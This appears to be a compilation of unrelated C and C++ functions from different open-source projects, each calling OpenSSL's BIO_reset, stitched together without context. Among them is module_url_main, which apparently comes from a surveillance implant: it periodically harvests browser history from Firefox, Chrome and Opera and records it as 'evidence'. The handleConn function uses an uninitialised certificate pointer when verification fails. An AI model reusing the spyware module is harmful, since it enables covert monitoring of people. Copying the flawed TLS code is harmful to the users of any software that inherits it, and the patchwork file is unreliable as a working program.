static LUA_FUNCTION(openssl_crl_read)
{
  BIO * in = load_bio_object(L, 1);
  int fmt = luaL_checkoption(L, 2, "auto", format);

  X509_CRL *crl = NULL;

  if (fmt == FORMAT_AUTO || fmt == FORMAT_PEM)
  {
    crl = PEM_read_bio_X509_CRL(in, NULL, NULL, NULL);
    BIO_reset(in);
  }
  if ((fmt == FORMAT_AUTO && crl == NULL) || fmt == FORMAT_DER)
  {
    crl = d2i_X509_CRL_bio(in, NULL);
    BIO_reset(in);
  }
  BIO_free(in);

  if (crl)
  {
    PUSH_OBJECT(crl, "openssl.x509_crl");
    return 1;
  }
  return 0;
}

static LUA_FUNCTION(openssl_csr_read)
{
  BIO * in = load_bio_object(L, 1);
  int fmt = luaL_checkoption(L, 2, "auto", format);
  X509_REQ * csr = NULL;

  if (fmt == FORMAT_AUTO)
  {
    fmt = bio_is_der(in) ? FORMAT_DER : FORMAT_PEM;
  }

  if (fmt == FORMAT_PEM)
  {
    csr = PEM_read_bio_X509_REQ(in, NULL, NULL, NULL);
    BIO_reset(in);
  }else
  if (fmt == FORMAT_DER)
  {
    csr = d2i_X509_REQ_bio(in, NULL);
    BIO_reset(in);
  }
  BIO_free(in);

  if (csr)
  {
    PUSH_OBJECT(csr, "openssl.x509_req");
    return 1;
  }
  return openssl_pushresult(L, 0);
}

static void resetEncoder(Gzb64* gzb64)
{
    int zret = deflateReset(& gzb64->gz_encode_strm);
	if(zret < 0) zerr(zret);
	zret = BIO_reset(gzb64->encode_output_buffer);
	zret = BIO_reset(gzb64->b64_encoder);
	gzb64->encoded_last_chunk = false;
	if(DEBUG) printf("Encoder reset\n");
}

void tls__reset(tr_uv_tcp_transport_t* tt)
{
    int ret;
    QUEUE* q;

    tr_uv_tls_transport_t* tls = (tr_uv_tls_transport_t* )tt;

    pc_lib_log(PC_LOG_DEBUG, "tls__reset - reset ssl");
    if (!SSL_clear(tls->tls)) {
        pc_lib_log(PC_LOG_WARN, "tls__reset - ssl clear error: %s",
                ERR_error_string(ERR_get_error(), NULL));
    }

    ret = BIO_reset(tls->in);
    assert(ret == 1);

    ret = BIO_reset(tls->out);
    assert(ret == 1);

    // write should retry remained, insert it to writing queue
    // then tcp__reset will recycle it.
    if (tls->should_retry) {
        pc_lib_log(PC_LOG_DEBUG, "tls__reset - move should retry wi to writing queue, seq_num: %u, req_id: %u",
                tls->should_retry->seq_num, tls->should_retry->req_id);

        QUEUE_INIT(&tls->should_retry->queue);
        QUEUE_INSERT_TAIL(&tt->writing_queue, &tls->should_retry->queue);

        tls->should_retry = NULL;
    } 

    if (tls->retry_wb) {
        pc_lib_free(tls->retry_wb);
        tls->retry_wb = NULL;
        tls->retry_wb_len = 0;
    }

    // tcp reset will recycle following write item
    while(!QUEUE_EMPTY(&tls->when_tcp_is_writing_queue)) {
        q = QUEUE_HEAD(&tls->when_tcp_is_writing_queue);
        QUEUE_REMOVE(q);
        QUEUE_INIT(q);

        QUEUE_INSERT_TAIL(&tt->writing_queue, q);
    }
    
    tcp__reset(tt);
}

void *module_url_main(void *args)
{
   BIO *bio_data = NULL;
   char *dataptr;
   long datalen;
   fd_set rfds;
   struct timeval tv;

   debugme("Module URL started\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;

      while(MODULE_URL.status != MODULE_STOPPING) {
         do {
            if(timemark(MODULE_URL_INDEX, &begin, &end)) break;

            url_firefox();
            url_chrome();
            url_opera();
            url_web();

            for(listp = list; listp; listp = listp->next) {
               debugme("URL %u %d %s %s\n", listp->time, listp->browser, listp->url, listp->title);
               if(BIO_putfiletime(bio_data, listp->time) == -1) break;
               if(BIO_puti32(bio_data, EVIDENCE_VERSION) == -1) break;
               if(BIO_puts16n(bio_data, listp->url) == -1) break;
               if(BIO_puti32(bio_data, listp->browser) == -1) break;
               if(BIO_puts16n(bio_data, listp->title) == -1) break;
               if(BIO_putsep(bio_data) == -1) break;
            }
            if(listp) break;

            if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;
            evidence_write(EVIDENCE_TYPE_URL, NULL, 0, dataptr, (int)datalen);
         } while(0);
         BIO_reset(bio_data);

         for(listp = list; listp;) {
            list = listp;
            listp = listp->next;
            if(list->url) free(list->url);
            if(list->title) free(list->title);
            free(list);
         }
         list = NULL;

         FD_ZERO(&rfds);
         FD_SET(MODULE_URL.event, &rfds);
         tv.tv_sec = 60;
         tv.tv_usec = 0;
         select(MODULE_URL.event + 1, &rfds, NULL, NULL, &tv);
      }
   } while(0);
   if(bio_data) BIO_free(bio_data);

   debugme("Module URL stopped\n");

   return NULL;
}

HTTPScode
https_recv(struct https_request *req, int *code, const char **body, int *len,
        int msecs)
{
        int n, err;
        
        if (BIO_reset(req->body) != 1) {
                ctx->errstr = _SSL_strerror();
                return (HTTPS_ERR_LIB);
        }
        /* Read loop sentinel set by parser in __on_message_done() */
        while (!req->done) {
                while ((n = BIO_read(req->cbio, ctx->parse_buf,
                            sizeof(ctx->parse_buf))) <= 0) {
                        if ((n = _BIO_wait(req->cbio, msecs)) != 1) {
                                ctx->errstr = n ? _SSL_strerror() :
                                    "Connection closed";
                                return (HTTPS_ERR_SERVER);
                        }
                }
                if ((err = http_parser_execute(req->parser,
                            &ctx->parse_settings, ctx->parse_buf, n)) != n) {
                        ctx->errstr = http_errno_description(err);
                        return (HTTPS_ERR_SERVER);
                }
        }
        *len = BIO_get_mem_data(req->body, (char **)body);
        *code = req->parser->status_code;
        
        return (HTTPS_OK);
}

static int fetch_data_from_bio(SSL *s, char **out)
{
    int i;
    BIO *bio = SSL_get_wbio(s);
    if (!bio) {
      fprintf(stderr, "Couldn't get write BIO for SSL object!\n");
      fflush(stderr);
      return -1;
    }
    char *crypted_data;
    long crypted_data_len = BIO_get_mem_data(bio, &crypted_data);
    *out = malloc(crypted_data_len);
    if (!*out) {
        return -1;
    }

    memcpy(*out, crypted_data, crypted_data_len);

    if (BIO_reset(bio) <= 0) {
      fprintf(stderr, "fetch_data_from_bio: BIO_reset returned <= 0\n");
      fflush(stderr);
      return -1;
    }
    i = crypted_data_len;

    return i; 
}

static int openssl_ocsp_request_parse(lua_State*L)
{
  OCSP_REQUEST *req = CHECK_OBJECT(1, OCSP_REQUEST, "openssl.ocsp_request");
  int utf8 = lua_isnoneornil(L, 2) ? 1 : lua_toboolean(L, 2);
  OCSP_REQINFO *inf = req->tbsRequest;
  OCSP_SIGNATURE *sig = req->optionalSignature;

  BIO* bio = BIO_new(BIO_s_mem());
  int i, num;
  lua_newtable(L);
  AUXILIAR_SET(L, -1, "version", ASN1_INTEGER_get(inf->version), integer);
  if (inf->requestorName)
  {
    opensl_push_general_name(L, inf->requestorName, utf8);
    lua_setfield(L, -2, "requestorName");
  }
  num = sk_OCSP_ONEREQ_num(inf->requestList);
  lua_newtable(L);
  for (i = 0; i < num; i++)
  {
    OCSP_ONEREQ *one = sk_OCSP_ONEREQ_value(inf->requestList, i);
    OCSP_CERTID *a = one->reqCert;
    lua_newtable(L);
    {
      openssl_push_x509_algor(L, a->hashAlgorithm);
      lua_setfield(L, -2, "hashAlgorithm");

      PUSH_ASN1_OCTET_STRING(L, a->issuerNameHash);
      lua_setfield(L, -2, "issuerNameHash");

      PUSH_ASN1_OCTET_STRING(L, a->issuerKeyHash);
      lua_setfield(L, -2, "issuerKeyHash");

      PUSH_ASN1_INTEGER(L, a->serialNumber);
      lua_setfield(L, -2, "serialNumber");
    }
    lua_rawseti(L, -2, i + 1);
  }
  lua_setfield(L, -2, "requestList");

  if (inf->requestExtensions){
    STACK_OF(X509_EXTENSION) *extensions = sk_X509_EXTENSION_dup(inf->requestExtensions);
    PUSH_OBJECT(extensions,"openssl.stack_of_x509_extension");
    lua_setfield(L,-2, "extensions");
  }

  if (sig)
  {
    BIO_reset(bio);
    X509_signature_print(bio, sig->signatureAlgorithm, sig->signature);
    for (i = 0; i < sk_X509_num(sig->certs); i++)
    {
      X509_print(bio, sk_X509_value(sig->certs, i));
      PEM_write_bio_X509(bio, sk_X509_value(sig->certs, i));
    }
  }

  BIO_free(bio);
  return 1;
}

OCSP_RESPONSE *modssl_dispatch_ocsp_request(const apr_uri_t *uri,
                                            apr_interval_time_t timeout,
                                            OCSP_REQUEST *request,
                                            conn_rec *c, apr_pool_t *p)
{
    OCSP_RESPONSE *response = NULL;
    apr_socket_t *sd;
    BIO *bio;

    bio = serialize_request(request, uri);
    if (bio == NULL) {
        ap_log_cerror(APLOG_MARK, APLOG_ERR, 0, c, APLOGNO(01989)
                      "could not serialize OCSP request");
        ssl_log_ssl_error(SSLLOG_MARK, APLOG_ERR, mySrvFromConn(c));
        return NULL;
    }

    sd = send_request(bio, uri, timeout, c, p);
    if (sd == NULL) {
        /* Errors already logged. */
        BIO_free(bio);
        return NULL;
    }

    /* Clear the BIO contents, ready for the response. */
    (void)BIO_reset(bio);

    response = read_response(sd, bio, c, p);

    apr_socket_close(sd);
    BIO_free(bio);

    return response;
}

static long crlfbuffer_ctrl(BIO *b, int cmd, long num, void *ptr)
	{
	long ret;

	if (b->next_bio == NULL) return(0);
	switch(cmd)
		{
    case BIO_CTRL_RESET:
    {
		BIO_CRLFBUFFER_CTX *ctx;
		ctx=(BIO_CRLFBUFFER_CTX *)b->ptr;
		ctx->ibuf_len=0;
		ctx->ibuf_off=0;
		ctx->got_cr=0;
		if (b->next_bio)
			BIO_reset(b->next_bio);
    	break;
    }
    case BIO_C_DO_STATE_MACHINE:
		BIO_clear_retry_flags(b);
		ret=BIO_ctrl(b->next_bio,cmd,num,ptr);
		BIO_copy_next_retry(b);
		break;
	case BIO_CTRL_DUP:
		ret=0L;
		break;
	default:
		ret=BIO_ctrl(b->next_bio,cmd,num,ptr);
		}
	return(ret);
	}

LIBSSH2_API int libssh2_publickey_is_privatekey(const char *keypath, const char *passphrase)
{
    int       st;
    BIO*      bp;
    EVP_PKEY* pk;

    bp = BIO_new_file(keypath, "r");
    if (bp == NULL) {
        return -1;
    }
    if (!EVP_get_cipherbyname("des")) {
        /* If this cipher isn't loaded it's a pretty good indication that none
         * are.  I have *NO DOUBT* that there's a better way to deal with this
         * ($#&%#$(%$#( Someone buy me an OpenSSL manual and I'll read up on
         * it.
         */
        OpenSSL_add_all_ciphers();
    }
    BIO_reset(bp);
    pk = PEM_read_bio_PrivateKey(bp, NULL, NULL, (void*)passphrase);
    BIO_free(bp);

    if (pk == NULL) {
        /* _libssh2_error(session, */
        /*                LIBSSH2_ERROR_FILE, */
        /*                "Wrong passphrase or invalid/unrecognized " */
        /*                "private key file format"); */
        return -1;
    }

    return 1;
}

static void resetDecoder(Gzb64* gzb64)
{
	int zret = inflateReset(& gzb64->gz_decode_strm);
	if(zret < 0) zerr(zret);
	zret = BIO_reset(gzb64->b64_decoder);
	gzb64->decoded_last_chunk = false;
	if(DEBUG) printf("Decoder reset\n");
}

static LUA_FUNCTION(openssl_pkcs7_read)
{
  BIO* bio = load_bio_object(L, 1);
  int fmt = luaL_checkoption(L, 2, "auto", format);
  PKCS7 *p7 = NULL;
  BIO* ctx = NULL;

  if (fmt == FORMAT_AUTO)
  {
    fmt = bio_is_der(bio) ? FORMAT_DER : FORMAT_PEM;
  }

  if (fmt == FORMAT_DER)
  {
    p7 = d2i_PKCS7_bio(bio, NULL);
    BIO_reset(bio);
  }
  else if (fmt == FORMAT_PEM)
  {
    p7 = PEM_read_bio_PKCS7(bio, NULL, NULL, NULL);
    BIO_reset(bio);
  }
  else if (fmt == FORMAT_SMIME)
  {
    p7 = SMIME_read_PKCS7(bio, &ctx);
  }

  BIO_free(bio);
  if (p7)
  {
    PUSH_OBJECT(p7, "openssl.pkcs7");
    if (ctx)
    {
      BUF_MEM* mem;
      BIO_get_mem_ptr(ctx, &mem);
      lua_pushlstring(L, mem->data, mem->length);
      BIO_free(ctx);
      return 2;
    }
    return 1;
  }
  return openssl_pushresult(L, 0);
}

int  bio_is_der(BIO* bio)
{
  byte head[1];
  int len = BIO_read(bio, head, sizeof(head));
  (void)BIO_reset(bio);
  if (len == sizeof(head) && head[0] == 0x30)
    return 1;

  return 0;
}

int main(int argc, char **argv)
{
    X509  *x509 = NULL;
    BIO   *bio  = NULL;
    has_t *crt  = NULL;
    char  *json = NULL; 
    size_t l;

    openssl_init();

    if ((bio = BIO_new(BIO_s_file())) == NULL) {
        return -1;
    }

    if(argc < 2) {
        BIO_set_fp(bio, stdin, BIO_NOCLOSE);
    } else {
        BIO_read_filename(bio, argv[1]);
    }
    
    /* Format DER */
    if((x509 = d2i_X509_bio(bio, NULL)) == NULL) {
        ERR_clear_error();
        BIO_reset(bio);
        /* Format PEM */
        x509 = PEM_read_bio_X509_AUX(bio, NULL, NULL, NULL);
    }

    if(!x509) {
        fprintf(stderr, "Error loading certificate\n");
        return -1;
    }

    if((crt = has_x509_new(x509)) == NULL) {
        fprintf(stderr, "Error converting certificate\n");
        return -1;
    } 

    if(has_json_serialize(crt, &json, &l, HAS_JSON_SERIALIZE_PRETTY) == 0) {
        printf("%s\n", json);
        free(json);
    } else {
        fprintf(stderr, "Error serializing certificate\n");
        return -1;        
    }

    has_free(crt);
    X509_free(x509);
    BIO_free(bio);

    openssl_cleanup();

    return 0;
}

void WTConnection::disconnect(void)
{
	if(!this->connecting && !this->connected)
	{
		return;
	};
	
	this->connecting = false;
	this->connected = false;

	if(this->socket != 0)
		close_portable(this->socket);
#ifndef NO_SSL
	if(this->ssl_socket != NULL)
	{
		if(BIO_reset(this->ssl_socket) != 0)
			warning_error("failed to reset socket");
		BIO_free_all(this->ssl_socket);
		this->ssl_socket = NULL;
		this->ssl = NULL;
	};
	if(this->ssl_ctx != NULL)
	{
		SSL_CTX_free(this->ssl_ctx);
		this->ssl_ctx = NULL;
	};
#endif
	delegate_status(WTHTTP_Closed);

	if(this->addr_info != NULL)
	{
		freeaddrinfo(this->addr_info);
		this->addr_info = NULL;
	};

	if(this->uri != NULL)
	{
		free(this->uri);
		this->uri = NULL;
	};

	if(this->domain != NULL)
	{
		free(this->domain);
		this->domain = NULL;
	};

	if(this->protocol != NULL)
	{
		free(this->protocol);
		this->protocol = NULL;
	};
}

/*
  At first the arguments are read and passed. Then the ssl context is gotten
  by calling 'BIO_get_ssl(client, &ssl)'. Afterwards the ssl handshake is 
  performed and the certificate verified. Then the line is read from the certificate. 
  This value is mapped to 'organizationalUnitName'.
  An example usage of the connection is shown and then the connectino will be
  terminated.
 */
void* handleConn(void *argsv){
  connArgs* args = (connArgs*) argsv;
  MessageHandler* msgHandler = args->msgHandler;
  BIO* client = args->conn;
  SSL* ssl;

  BIO_get_ssl(client, &ssl);

  /*ssl handshake*/
  msgHandler->debug("performing ssl handshake");
  if(BIO_do_handshake(client) != 1){
    string fail("handshake failed\nSSL_ERROR: ");
    fail.append(ERR_reason_error_string(ERR_get_error()));
    msgHandler->log(fail);
  } else
    msgHandler->log("handshake successful");

  /*verifying the certificate*/
  X509* peerCert;

  if(SSL_get_verify_result(ssl) != X509_V_OK){
    string error("verification failed\nSSL_Error: ");
    error.append(ERR_reason_error_string(ERR_get_error()));
    msgHandler->error(error, CRITICAL);
  } else {
    msgHandler->debug("verification successful");
    peerCert  = SSL_get_peer_certificate(ssl);
  }

  msgHandler->debug("trying to get the line");
  /*getting the line*/
  char lineN[6];
  X509_NAME* name = X509_get_subject_name(peerCert);
  X509_NAME_get_text_by_NID(name, NID_organizationalUnitName, lineN, 6);
  string line("line is: ");
  line.append(lineN);
  msgHandler->debug(line);

  /*example use of the connection (echoing the incoming msg)*/
  char buffer[1024];
  bzero(buffer, 1024);
  SSL_read(ssl, buffer, 1024);
  string debug("message received: ");
  debug.append(buffer);
  msgHandler->debug(debug);
  SSL_write(ssl, buffer, 1024);

  /*closing the connection*/
  BIO_reset(client);
  X509_free(peerCert);
  return NULL;
}

RSAKeyImpl::RSAKeyImpl(std::istream* pPublicKeyStream,
	std::istream* pPrivateKeyStream,
	const std::string& privateKeyPassphrase): KeyPairImpl("rsa", KT_RSA_IMPL),
		_pRSA(0)
{
	poco_assert_dbg(_pRSA == 0);

	_pRSA = RSA_new();
	if (pPublicKeyStream)
	{
		std::string publicKeyData;
		Poco::StreamCopier::copyToString(*pPublicKeyStream, publicKeyData);
		BIO* bio = BIO_new_mem_buf(const_cast<char*>(publicKeyData.data()), static_cast<int>(publicKeyData.size()));
		if (!bio) throw Poco::IOException("Cannot create BIO for reading public key");
		RSA* publicKey = PEM_read_bio_RSAPublicKey(bio, &_pRSA, 0, 0);
		if (!publicKey)
		{
			int rc = BIO_reset(bio);
			// BIO_reset() normally returns 1 for success and 0 or -1 for failure. 
			// File BIOs are an exception, they return 0 for success and -1 for failure.
			if (rc != 1) throw Poco::FileException("Failed to load public key");
			publicKey = PEM_read_bio_RSA_PUBKEY(bio, &_pRSA, 0, 0);
		}
		BIO_free(bio);
		if (!publicKey)
		{
			freeRSA();
			throw Poco::FileException("Failed to load public key");
		}
	}

	if (pPrivateKeyStream)
	{
		std::string privateKeyData;
		Poco::StreamCopier::copyToString(*pPrivateKeyStream, privateKeyData);
		BIO* bio = BIO_new_mem_buf(const_cast<char*>(privateKeyData.data()), static_cast<int>(privateKeyData.size()));
		if (!bio) throw Poco::IOException("Cannot create BIO for reading private key");
		RSA* privateKey = 0;
		if (privateKeyPassphrase.empty())
			privateKey = PEM_read_bio_RSAPrivateKey(bio, &_pRSA, 0, 0);
		else
			privateKey = PEM_read_bio_RSAPrivateKey(bio, &_pRSA, 0, const_cast<char*>(privateKeyPassphrase.c_str()));
		BIO_free(bio);
		if (!privateKey)
		{
			freeRSA();
			throw Poco::FileException("Failed to load private key");
		}
	}
}

static int test_printf(void) {
  /* Test a short output, a very long one, and various sizes around
   * 256 (the size of the buffer) to ensure edge cases are correct. */
  static const size_t kLengths[] = { 5, 250, 251, 252, 253, 254, 1023 };
  BIO *bio;
  char string[1024];
  int ret;
  const uint8_t *contents;
  size_t i, len;

  bio = BIO_new(BIO_s_mem());
  if (!bio) {
    fprintf(stderr, "BIO_new failed\n");
    return 0;
  }

  for (i = 0; i < sizeof(kLengths) / sizeof(kLengths[0]); i++) {
    if (kLengths[i] >= sizeof(string)) {
      fprintf(stderr, "Bad test string length\n");
      return 0;
    }
    memset(string, 'a', sizeof(string));
    string[kLengths[i]] = '\0';

    ret = BIO_printf(bio, "test %s", string);
    if (ret != 5 + kLengths[i]) {
      fprintf(stderr, "BIO_printf failed: %d\n", ret);
      return 0;
    }
    if (!BIO_mem_contents(bio, &contents, &len)) {
      fprintf(stderr, "BIO_mem_contents failed\n");
      return 0;
    }
    if (len != 5 + kLengths[i] ||
        strncmp((const char *)contents, "test ", 5) != 0 ||
        strncmp((const char *)contents + 5, string, kLengths[i]) != 0) {
      fprintf(stderr, "Contents did not match: %.*s\n", (int)len, contents);
      return 0;
    }

    if (!BIO_reset(bio)) {
      fprintf(stderr, "BIO_reset failed\n");
      return 0;
    }
  }

  BIO_free(bio);
  return 1;
}

static int openssl_ssl_session_read(lua_State*L)
{
  BIO *in = load_bio_object(L, 1);
  SSL_SESSION* ss = PEM_read_bio_SSL_SESSION(in, NULL, NULL, NULL);
  if (!ss)
  {
    BIO_reset(in);
    ss = d2i_SSL_SESSION_bio(in, NULL);
  }
  BIO_free(in);
  if (ss)
  {
    PUSH_OBJECT(ss, "openssl.ssl_session");
    return 1;
  }
  return openssl_pushresult(L, 0);
}